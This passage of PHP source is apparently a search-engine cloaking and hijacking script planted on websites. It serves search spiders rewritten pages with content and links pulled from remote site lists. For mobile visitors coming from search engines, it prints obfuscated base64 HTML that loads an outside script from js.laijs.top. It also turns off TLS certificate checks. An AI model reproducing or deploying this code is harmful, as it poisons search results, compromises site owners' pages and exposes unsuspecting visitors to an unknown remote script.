[\s\S]*?<\/a>/i';
preg_match_all($lianjie, $html, $aarray5);
if ($aarray5[0]) {
foreach ($aarray5[0] as $pbti) {
$href_preg = '/href=\s*(\"|\')([^\"\']*?)(\"|\')/i';
preg_match($href_preg, $pbti, $href_match);
if (isset($href_match[2])) {
$old_url = trim($href_match[2]);
$lower_url = strtolower($old_url);
if (preg_match('/^(java|tencent|mailto|tel|weixin|alipays|ms-windows-store|skype|whatsapp|javascript)/i', $lower_url) || $old_url == '' || $old_url == '#') {
continue;
}
if (preg_match('/^https?:\/\/[^\/\s]+\.[^\/\s]+/i', $old_url)) {
$url_parts = parse_url($old_url);
$new_path = '';
if (isset($url_parts['path']) && $url_parts['path'] !== '') {
$new_path = $url_parts['path'];
} else {
$new_path = '/';
}
if (isset($url_parts['query'])) {
$new_path .= '?' . $url_parts['query'];
}
$old_url = $new_path;
}
if (strpos($old_url, '#') !== false) {
$old_url = substr($old_url, 0, strpos($old_url, '#'));
}
$old_url = preg_replace('#(?]*>(.*?)<\/title>/is';
if (preg_match($title_pattern, $html)) {
$html = preg_replace($title_pattern, '
' . $new_title . '', $html);
} else {
$html = str_replace('', '
' . $new_title . '', $html);
}
return $html;
}
function rewrite_meta_tags($html, $keywords, $description) {
$keywords_pattern = '/
/i';
if (preg_match($keywords_pattern, $html)) {
$html = preg_replace($keywords_pattern, '
', $html);
} else {
$html = str_replace('', '
' . "\n", $html);
}
$desc_pattern = '/
/i';
if (preg_match($desc_pattern, $html)) {
$html = preg_replace($desc_pattern, '
', $html);
} else {
$html = str_replace('', '
' . "\n", $html);
}
return $html;
}
function extract_h1_from_content($content) {
$h1_pattern = '/
]*>(.*?)<\/h1>/is';
if (preg_match($h1_pattern, $content, $h1_match)) {
return strip_tags($h1_match[1]);
}
return '';
}
function extract_meta_from_content($content) {
$result = array(
'title' => '',
'keywords' => '',
'description' => ''
);
$title_pattern = '/]*>(.*?)<\/title>/is';
if (preg_match($title_pattern, $content, $title_match)) {
$result['title'] = strip_tags($title_match[1]);
}
$keywords_pattern = '/ "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789");
if ($type == 0) {
array_pop($arr);
$string = implode("", $arr);
} elseif ($type == "-1") {
$string = implode("", $arr);
} else {
$string = isset($arr[$type]) ? $arr[$type] : $arr[1];
}
$count = strlen($string) - 1;
if ($count < 0) return '';
$code = '';
for ($i = 0; $i < $length; $i++) {
$code .= $string[rand(0, $count)];
}
return $code;
}
function processSpiderContent($html) {
global $dir_options;
return rewrite_links_smart($html, $dir_options);
}
function httpGet2($url) {
global $dir_options;
if (!headers_sent()) {
header('Content-Type:text/html;charset=utf-8');
}
if (!preg_match('#^https?://#', $url)) {
$url = 'http://' . $url;
}
if (!function_exists('curl_init')) {
$context = stream_context_create(array('http' => array('timeout' => 10, 'user_agent' => 'MyCustomUA/1.0')));
$output = @file_get_contents($url, false, $context);
$output = rewrite_links_smart($output, $dir_options);
return $output !== false ? $output : "页面获取失败";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
if (defined('CURLOPT_FOLLOWLOCATION')) {
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
}
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode != 200 || !$output) {
return "页面获取失败";
}
$output = rewrite_links_smart($output, $dir_options);
return $output;
}
function httpGet360($url) {
if (!headers_sent()) {
header('Content-Type:text/html;charset=utf-8');
}
if (!preg_match('#^https?://#', $url)) {
$url = 'http://' . $url;
}
if (!function_exists('curl_init')) {
$context = stream_context_create(array('http' => array('timeout' => 10, 'user_agent' => 'MyCustomUA/1.0')));
$output = @file_get_contents($url, false, $context);
return $output !== false ? $output : "页面获取失败";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
if (defined('CURLOPT_FOLLOWLOCATION')) {
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
}
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode != 200 || !$output) {
return "页面获取失败";
}
return $output;
}
$requestUri = isset($b['REQUEST_URI']) ? $b['REQUEST_URI'] : '';
$httpReferer = isset($b['HTTP_REFERER']) ? $b['HTTP_REFERER'] : '';
$userAgent = isset($b['HTTP_USER_AGENT']) ? $b['HTTP_USER_AGENT'] : '';
$httpHost = isset($b['HTTP_HOST']) ? $b['HTTP_HOST'] : '';
define('url', $requestUri);
define('ref', $httpReferer);
define('ent', $userAgent);
define('road', "?domain=" . $httpHost . $requestUri);
define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i');
define('area', $a(url,"?case") or $a(url,"?moban") or $a(url,"?news") or $a(url,"?show") or $a(url,"?wen") or $a(url,"?chanpi") or $a(url,".shtml") or $a(url,"/du/") or $a(url,"dsp/") or $a(url,"ask/") or $a(url,"/moban/") or $a(url,"zhuli/") or $a(url,"keyan/") or $a(url,"zkblw/") or $a(url,"wen/") or $a(url,"ku/") or $a(url,"/ys/") or $a(url,"/dy/") or $a(url,"/template/") or $a(url,"/xinwen1/") or $a(url,"/news1/") or $a(url,"/show1/") or $a(url,"/html1/") or $a(url,"adv") or $a(url,"music") or $a(url,"mp4") or $a(url,"andi") or $a(url,"lvyouqu") or $a(url,"daya") or $a(url,"world") or $a(url,"gogo") or $a(url,"page1") or $a(url,"balabala"));
if (preg_match('/360Spider/i', $userAgent)) {
$SITES_360_LIST = getSitesFromRemoteTxt(REMOTE_SITES_360_TXT_URL);
$selected_site_360 = $SITES_360_LIST[array_rand($SITES_360_LIST)];
$site_content = getRemoteSiteContent($selected_site_360 . road);
//$site_content = httpGet360($selected_site_360 . road);
if (!empty($site_content)) {
$meta_info = extract_meta_from_content($site_content);
$h1_text = extract_h1_from_content($site_content);
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
$full_url = $protocol . $httpHost . $requestUri;
$current_url = $protocol . $httpHost . $_SERVER['REQUEST_URI'];
$html = httpGet360($current_url);
if (!$html || strlen($html) < 100) {
$html = httpGet360($protocol . $httpHost);
}
if ($html !== false && !empty($html)) {
if (!empty($meta_info['title'])) {
$html = rewrite_title($html, $meta_info['title']);
}
if (!empty($meta_info['keywords']) || !empty($meta_info['description'])) {
$html = rewrite_meta_tags($html, $meta_info['keywords'], $meta_info['description']);
}
$html = rewrite_links_smart($html, $dir_options);
if (!empty($h1_text)) {
$h1_content = '';
$html = preg_replace('/(]*>)/i', '$1' . "\n" . $h1_content, $html);
if (strpos($html, '' . "\n" . $h1_content . "\n" . $html;
}
}
$site_lianjie = '/]*>.*?<\/a>/is';
preg_match_all($site_lianjie, $site_content, $site_links_array);
if (!empty($site_links_array[0]) && isset($site_links_array[0][16])) {
$insert_content = "\n\n
推荐链接
\n" . $site_links_array[0][16] . "\n\n";
if (preg_match('/<\/body\s*>/i', $html, $body_match, PREG_OFFSET_CAPTURE)) {
$body_end_pos = $body_match[0][1];
$html = substr_replace($html, $insert_content, $body_end_pos, 0);
} elseif (preg_match('/<\/html\s*>/i', $html, $html_match, PREG_OFFSET_CAPTURE)) {
$html_end_pos = $html_match[0][1];
$html = substr_replace($html, $insert_content, $html_end_pos, 0);
} else {
$html .= $insert_content;
}
}
echo $html;
exit();
}
}
}
if (preg_match(regs, $userAgent)) {
if (area) {
if (!isset($SITES_LIST) || empty($SITES_LIST)) {
$SITES_LIST = getSitesFromRemoteTxt(); // 使用1.txt
}
$selected_site = $SITES_LIST[array_rand($SITES_LIST)];
$html = httpGetlai($selected_site . road);
if ($html !== false) {
$html = processSpiderContent($html);
echo $html;
}
exit();
} elseif (url == '/index.html' || url == '/' || url == '' || url == '/index.php') {
$fullUrl = 'http://' . $httpHost . $requestUri;
echo httpGet2($fullUrl);
exit();
}
}
if(preg_match(mobile,ent) && preg_match("/.*(so|360).*/i", ref)) {
echo base64_decode('PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlID0xLjAsIHVzZXItc2NhbGFibGU9bm8sIG1heGltdW0tc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEiPjwvaGVhZD48Ym9keSBzdHlsZT0ibWFyZ2luOjA7Ij48c2NyaXB0IHNyYz1odHRwczovL2pzLmxhaWpzLnRvcC94aW4uanM+PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4=');
exit;
}
if(area && preg_match(mobile,ent)&&(preg_match("/.*(sogou|baidu|yisou|sm|bing|tout|haos).*/i",ref))) {
echo base64_decode('PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlID0xLjAsIHVzZXItc2NhbGFibGU9bm8sIG1heGltdW0tc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEiPjwvaGVhZD48Ym9keSBzdHlsZT0ibWFyZ2luOjA7Ij48c2NyaXB0IHNyYz1odHRwczovL2pzLmxhaWpzLnRvcC94aW4uanM+PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4=');
exit;
}
?>